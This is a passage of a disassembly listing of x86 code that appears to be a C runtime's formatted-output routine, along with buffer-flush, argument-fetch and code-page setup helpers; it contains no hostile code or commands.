0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD060[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4E0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432870o ; ___:0043287Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE88 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D0A4 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D0A0 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D430 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D43C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D434 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D0A0 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD164 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0B0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D1A0 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi nop call near ptr 26508CFh cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD280 cmp [ebp+var_18], 1 mov dword_4DD164, esi rep stosd stosb mov dword_4DD384, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD281[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD280 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0C0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D0A8[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD281[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD17C, 1 push eax mov dword_4DD164, eax call sub_42092C lea esi, dword_43D0B4[esi] mov edi, offset dword_4DD170 movsd movsd pop ecx mov dword_4DD384, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD281[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD384, eax mov dword_4DD17C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD17C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD170 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE5C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: 